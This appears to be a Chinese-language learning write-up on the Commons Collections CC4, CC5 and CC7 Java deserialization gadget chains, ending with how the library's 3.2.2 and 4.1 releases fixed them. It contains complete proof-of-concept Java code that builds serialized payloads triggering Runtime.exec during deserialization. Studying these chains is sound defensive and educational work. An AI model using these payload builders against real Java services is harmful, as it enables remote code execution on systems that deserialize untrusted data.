Java安全之CC4,5,7

前言

前边已经将CC链中的关键部分学习差不多,接下来就是一些扩展思路,

CC4

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                PriorityQueue.siftDownUsingComparator()
                    TransformingComparator.compare()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InstantiateTransformer.transform()
                            newInstance()
                                TrAXFilter#TrAXFilter()
                                TemplatesImpl.newTransformer()
                                         TemplatesImpl.getTransletInstance()
                                         TemplatesImpl.defineTransletClasses.newInstance()
                                            Runtime.exec()

cc4也没什么新的东西,实际上算是cc2和cc3的杂交体。其中的类前边都已经学过了。

CC5

/*
    Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()
    Requires:
        commons-collections
 */
/*
This only works in JDK 8u76 and WITHOUT a security manager
//github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
 */

cc5的后半段与cc1相同,在cc1中说了,这里只要调用LazyMap#get并且传递任意内容即可触发后续的链达到rce的目的。

在cc5中用到的是TiedMapEntry中的toString方法:

public String toString() {
        return this.getKey() + "=" + this.getValue();
    }

跟进getValue方法:

 public V getValue() {
        return this.map.get(this.key);
    }

可以发现这里对this.map调用了get方法,并将key传递进去,所以这里只需要令map为我们前面构造好的LazyMap,即可触发rce

image-20221113180151789

map以及key都是我们可控的,构造POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import java.util.HashMap;

public class cc5 {
    public static void main(String[] args){
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc。exe"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        tiedmap.toString();
    }
}

image-20221113180531912

接下来我们需要找哪里调用了toString方法,在cc5中使用了BadAttributeValueExpException这个类

BadAttributeValueExpException#readObject:image-20221113181105907

看看这个valObj是从哪里来的:

image-20221113181243043

这里是从Filed中取出来的,那么利用方式也就很清晰了,通过反射来设置BadAttributeValueExpException中val的值为TiedMapEntry即可触发命令执行

那为什么创建BadAttributeValueExpException实例时不直接将构造好的TiedMapEntry传进去而要通过反射来修改val的值?

以下为BadAttributeValueExpException的构造方法:

public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

如果我们直接将前面构造好的TiedMapEntry传进去,在这里就会触发toString,从而导致rce。此时val的值为UNIXProcess,这是不可以被反序列化的,所以我们需要在不触发rce的前提,将val设置为构造好的TiedMapEntry。否则就会报出下边的错误

image-20221113182154732

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class cc5 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc.exe"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
            outputStream.writeObject(poc);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

CC7

/* Payload method chain:
    java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    sun.reflect.DelegatingMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke0
    java.lang.Runtime.exec
*/

cc7后半段与cc1相同,前半段(如何触发LazyMap#get)不同

在cc1中是通过AnnotationInvocationHandler#invoke来触发对恶意代理handler调用其invoke方法从而触发LazyMap#get方法。

而cc7中是通过AbstractMap#equals来触发对LazyMap#get方法的调用

image-20221113183401186

如果这里的m是我们可控的,那么我们设置m为LazyMap,即可完成后面的rce触发

先寻找调用equals方法的点,cc7中使用了HashTable#reconstitutionPut

image-20221113183550735

这里的key如果是我们可控的,那么m就是我们可控的,接着在HashTable#readObject中调用了reconstitutionPut方法,并将key传递进去

image-20221113183645149

接下来就是看如何对参数进行控制的问题了。

readObject方法中传递进去的key,是使用readObject得到的,那么在writeObject处,也必然会有:

image-20221113183742054

里传递的实际上就是HashTable#put时添加进去的key和value

POC如下

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {


        // Reusing transformer chain and LazyMap gadgets from previous payloads
        final String[] execArgs = new String[]{"calc.exe"};

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        execArgs),
                new ConstantTransformer(1)};

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);
//        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
        objectOutputStream.writeObject(hashtable);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
        objectInputStream.readObject();
//            return hashtable;
    }
}

为什么要调用两次put?

image-20221113190738005

在第一次调用reconstitutionPut时,会把key和value注册进table中

image-20221113190714021

此时由于tab[index]里并没有内容,所以并不会走进这个for循环内,而是给将key和value注册进tab中。在第二次调用reconstitutionPut时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals方法。

为什么调用的两次put其中map中key的值分别为yy和zZ?

image-20221113190912300

箭头指向的index要求两次都一样,否则无法获取到上一次的结果,再看看index是哪里来的,

这里index的计算方式关键是hash,而hash是通过key.hashCode得来的,在java中有一个小bug:

"yy".hashCode() == "zZ".hashCode()

所以这里我们需要将map中put的值设置为yy和zZ,使两次计算的index都一样,才能够进入到for循环中

为什么在调用完HashTable#put之后,还需要在map2中remove掉yy?

这是因为HashTable#put实际上也会调用到equals方法,会影响我们的判断。

小结

学完CC1-CC7之后,可以得出如下结论,cc的链大抵分为三段:

  • readObject触发
  • 调用transform方法
  • 触发后续链达到rce的目的

版本相关

  • 1、3、5、6、7是Commons Collections<=3.2.1中存在的反序列化链。
  • 2、4是Commons Collections 4.0以上中存在的反序列化链。
  • 同时还对JDK的版本有要求,我使用的测试版本为1.7和1.8。

修复

顺便看看官方是怎么修复漏洞的,Apache Commons Collections官⽅在2015年底得知序列化相关的问题后,就在两个分⽀上同时发布了新的版本,4.13.2.2

先看3.2.2,新版代码中增加了⼀个⽅法FunctorUtils#checkUnsafeSerialization,⽤于检测反序列化是否安全。如果开发者没有设置全局配置org.apache.commons.collections.enableUnsafeSerialization=true,即默认情况下会抛出异常。 这个检查在常⻅的危险Transformer类( InstantiateTransformer 、 InvokerTransformer 、 PrototypeFactory 、 CloneTransforme r 等的readObject⾥进⾏调⽤,所以,当我们反序列化包含这些对象时就会抛出⼀个异常:

Serialization support for org.apache.commons.collections.functors.InvokerTransformer is
disabled for security reasons. To enable it set system property
‘org.apache.commons.collections.enableUnsafeSerialization’ to ‘true’, but you must ensure
that your application does not de-serialize objects from untrusted sources

再看4.1,修复⽅式⼜不⼀样。4.1⾥,这⼏个危险Transformer类不再实现 Serializable 接⼝,也就 是说,他们⼏个彻底⽆法序列化和反序列化了